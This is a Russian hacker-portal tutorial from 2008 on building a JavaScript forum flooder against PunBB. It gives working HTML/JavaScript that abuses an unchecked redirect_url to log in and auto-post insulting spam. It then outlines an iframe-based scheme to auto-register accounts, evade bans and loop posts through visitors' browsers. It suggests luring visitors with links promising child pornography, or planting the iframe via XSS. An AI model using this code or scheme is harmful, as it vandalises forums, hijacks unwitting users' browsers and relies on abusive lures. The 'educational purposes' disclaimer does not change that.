Добро пожаловать на портал VVS777!


Админ:

VVS777
JABBER: [email protected]
250349430ICQ: 250349430

Это портал. Запомнили? Если еще хоть один гад скажет что это блог... =)

Сделать стартовой
Добавить в Избранное



Полезные сайты:
Портал VVS777 - Статьи - Сделай Сам : Флудер на Javascript.

Сделай Сам : Флудер на Javascript.

Сделай Сам : Флудер на Javascript.

В этой небольшой статейке хочу показать, что нельзя недооценивать возможности Javascript как языка программирования
(хотя по большому счету все написанное ниже - сплошной изврат).

Дело было давно (хотя впрочем и не так уж давно, 2005 год), когда я еще не знал php, а надо было сделать западло.
Был один форум на движке PunBB, но к сожалению последней на тот момент версии (1.2.8), и все лаги, которые я нашел на секюритилабе были уже прикрыты.
Происследовав его вдоль и поперек, ничего нового естественно не нашел, ломануть не удалось.
Решил просто чуть нафлудить (а именно просто насрать:-).

Первым делом посмотрим на форму входа на форум.
Код:
<form id="login" method="post" action=""> <input type="hidden" name="form_sent" value="1"> <input type="hidden" name="redirect_url" value="http://subdomain.test1.ru/punBB/index.php"> <input type="text" name="req_username" size="25" maxlength="25" tabindex="1" value="Username"> <input type="password" name="req_password" size="16" maxlength="16" tabindex="2" value="Password"> <input type="submit" name="login" value="Вход" tabindex="3"> </form>

Вроде бы все в порядке. настораживает только поле redirect_url.
Идем далее.
форма создания нового поста/ответа на существующий. я создавал новые, но отлчие по сути в 3 буквах.
Код:
<form id="post" method="post" action="post.php?action=post&amp;fid=1"> <input type="hidden" name="form_sent" value="1"> <input type="hidden" name="form_user" value="USERNAME"> <input type="text" name="req_subject" value="SUBJECT!" size="80" maxlength="70" tabindex="1"> <textarea name="req_message" rows="20" cols="95" tabindex="2"> Собсно тут текст сообщения. </textarea> <input type="checkbox" name="hide_smilies" value="1" tabindex="3"> <input type="checkbox" name="subscribe" value="1" tabindex="4"> <input type="submit" name="submit" value="Отправить" tabindex="5"> </form>

Как бы тоже все просто.

Переходим от теории к практике.
Описывать особо не буду, и так понятно.
Код:
<HTML> <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE"> <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"> <form id="login" method="post" action=""> <input type="hidden" name="form_sent" value="1"> <input type="hidden" name="redirect_url" value="about:blank"> <input type="text" name="req_username" size="25" maxlength="25" tabindex="1" value="Username"> <input type="password" name="req_password" size="16" maxlength="16" tabindex="2" value="Password"> <input type="submit" name="login" value="Вход" tabindex="3"> </form> <SCRIPT> <!-- username='your_user'; password='your_pass'; //Адрес скрипта. Теоретически можно извлечь из window.location, но я этого тогда еще не умел. thisaddr='http://your_hack_site.pochta.ru/'; //адрес форума-жертвы addr='your_punbbforum.ru'; document.forms[0].action='http://'+addr+'/login.php?action=in'; document.forms[0].redirect_url.value=thisaddr+'newtopic.htm?usernam e='+username+'&addr='+addr; document.forms[0].req_username.value=username; document.forms[0].req_password.value=password; document.forms[0].submit(); //на следующий шаг нас перешлет сам форум :-) (см. redirect_url) вот почему надо контроллировать поступающие данные на принадлежность своему хосту. //-> </SCRIPT> </HTML>

Данный код находится в файле login.htm, он заполняет форму, отправляет на форум, форум авторизирует юзера, шлет куку, перенаправляет на следующий этап.
Теперь приведу newtopic.htm.
Код:
<html> <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE"> <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"> <form id="post" method="post" action="post.php?action=post&amp;fid=1"> //fid=1 кажись номер раздела форума или темы в нем соответственно <input type="hidden" name="form_sent" value="1"> <input type="text" name="form_user" value="USERNAME"> <input type="text" name="req_subject" value="xcc" size="80" maxlength="70" tabindex="1"> <textarea name="req_message" rows="20" cols="95" tabindex="2"> ___________________ _____________Oooo__ ____oooO____(___)__ ___(___)_____)_/___ ____\_(_____(_/____ _____\_)___________ </textarea> <input type="checkbox" name="hide_smilies" value="1" tabindex="3"> <input type="checkbox" name="subscribe" value="1" tabindex="4"> <input type="submit" name="submit" value="Отправить" tabindex="5"> </form> <SCRIPT> //Эту функцию я откуда-то срисовал, просто незаменимая вещь. function Getparamvalue(search_string, param_name) { param_name=param_name+'='; var z=''; if (search_string!='') { if (search_string.indexOf(param_name,0)!=-1) { var startpos=search_string.indexOf(param_name,0)+param _name.length; var endpos=search_string.indexOf('%26',startpos); if (endpos<=startpos) endpos=search_string.length; z=search_string.substring(startpos,endpos); } } return z; } function rand(num) { return Math.floor(Math.random() * num )+1; } var p=window.location.search; //newtopic.htm?username='+username+'&addr='+addr username=Getparamvalue(p,'username'); addr=Getparamvalue(p,'addr'); //аналог $_GET =) topics=new Array (4); //- кол-во возможных тем topics[00]= 'Админы-лохи'; topics[01]= 'Скажем НЕТ!'; topics[02]= 'идите на фиг!'; topics[03]= 'Good lamer - dead lamer!'; document.forms[0].action='http://'+addr+'/post.php?action=post&amp;fid=1'; //SMENIT!!!!! 6 !!!!!! document.forms[0].form_user.value=username; document.forms[0].req_subject.value=topics[rand(10)]; //document.forms[0].req_message.value=''; //сюда можно аналогично рандомом менять сообщение document.forms[0].submit(); </SCRIPT> </html>


Итак, форум нас перенаправил, Javascript'ом забераем параметры, опять заполняем форму и отправляем сообщение.
Мавр сделал свое дело, мавр может отдыхать.
ну уж нет.

Теперь посмотрим на форму регистрации на форуме.
Код:
<form id="register" method="post" action="register.php?action=register" onsubmit="..."> <input type="hidden" name="form_sent" value="1" /> <label><strong>Username</strong><br /> <input type="text" name="req_username" size="25" maxlength="25" /> <label class="conl"><strong>Password</strong><br /> <input type="password" name="req_password1" size="16" maxlength="16" /><br /></label> <label class="conl"><strong>Confirm password</strong><br /> <input type="password" name="req_password2" size="16" maxlength="16" /><br /></label> <label><strong>E-mail</strong><br /> <input type="text" name="req_email1" size="50" maxlength="50" /><br /></label> <label>Timezone: For the forum to display times correctly you must select your local timezone. <select id="time_zone" name="timezone"> <option value="-12">-12</option> ... <option value="14">+14</option> </select> <div class="rbox"> <label><input type="radio" name="email_setting" value="0" />Display your e-mail address.<br /></label> <label><input type="radio" name="email_setting" value="1" checked="checked" />Hide your e-mail address but allow form e-mail.<br /></label> <label><input type="radio" name="email_setting" value="2" />Hide your e-mail address and disallow form e-mail.<br /></label> <label><input type="checkbox" name="save_pass" value="1" checked="checked" />Save username and password between visits.<br /></label> <input type="submit" name="register" value="Register" /> </form>

Вообщем тупо берем, заполняем поля и регаемся.
Ни тебе капчи, ни проверки мыла...

Теперь рассказываю, как выглядит картина маслом (весь код не привожу, информация к размышлению only)

Есть страничка на бесплатном хостинге типа Народ или Почта.ру. На ней IFRAME.
Надо заставить просмотреть ее наибольшее кол-во юзеров.
Как это делать рассказывать не буду, скажу лишь что размещение на 2-3х популярных форумах ссылки из серии "свежее порево", "детское порно" и т.п дает не меньше 40 посетителей за тот же вечер, потом админы пост удалят.
Возможны вариации на тему. Этот IFRAME можно вставить везде где есть xss.
Вернемся к нашим баранам.
По большому счету тут 2 пути.
Или самому регаться раз в час и вовремя менять в скрипте логин и пароль, не парясь с регистрацией, либо уже делать капитально.
Любой вышеперечисленный IFRAME ссылается на start.htm, где генерируется логин/пасс, производится в другом фрейме регистрация на форуме, затем (с учетом редиректа) по событию onLoad для внутреннего фрейма запускается процедура входа (через location.reload на другой файл или в том же другая функция, главное не запутаться).
После входа на форум, юзер, получивший фрейм, получает куку с форума, генерируется тема, содержимое, выбирается случайный раздел/тема и отправляется сообщение.
Если на странице, на которой юзер находится, разместить интересный текст, то есть смысл тут поставить цикл, т.е. отправка следующего соообщения.
При этом можно добавить проверку содержимого из серии iframe1.innerText на предмет наличия "Ви в чорному списку (забанені)." после входа - надо "нажать" выход и регаться заново и т.п.

Заключение паталогоанатома:
Форумы и вообще веб-движки с отсутствием капчи, проверки по емейл и т.п., отсутствующей проверкой вводимого содержимого (redirect_url) и без проверки рефереров - классный полигон для испытаний.

Мне честно облом было сейчас посмотреть на последнюю версию PunBB через 3 года после разработки данного изврата, но наверняка что-то из описанного мною еще работает.

Если обеспечить нормальный поток посетителей страницы (а как я уже сказал, 40 человек за первые 2-3 часа это вполне реально) то можно прилично и неприлично загадить форум. Админ сутра приходит на работу и чистит, чистит... а пятки все прибывают...
Цитата:
Адміністратор чи модератор, що вніс Вас у чорний список, залишив наступне повідомлення:
Вы нарушали правиа пользования форумом своими пятками...


Статья и приведенный код предназначены для использования в образовательных целях, за последствия автор ответсттвенности не несет.

(C) VVS777, 2008.

УСЛУГИ
Раздаю инвайты, пополняю счет на anti-captcha.
ВНИМАНИЕ, АКЦИЯ!!!
Получи $1 нашару на счет в Анти-Капче условия акции...

Реклама:

Buttons:

CS-MAPS.ORG Top HL & CS Sites

GameTop - рейтинг сайтов об играх


Powered by VVSCMS, release 3.10.2006 © 2006-2016 VVS777.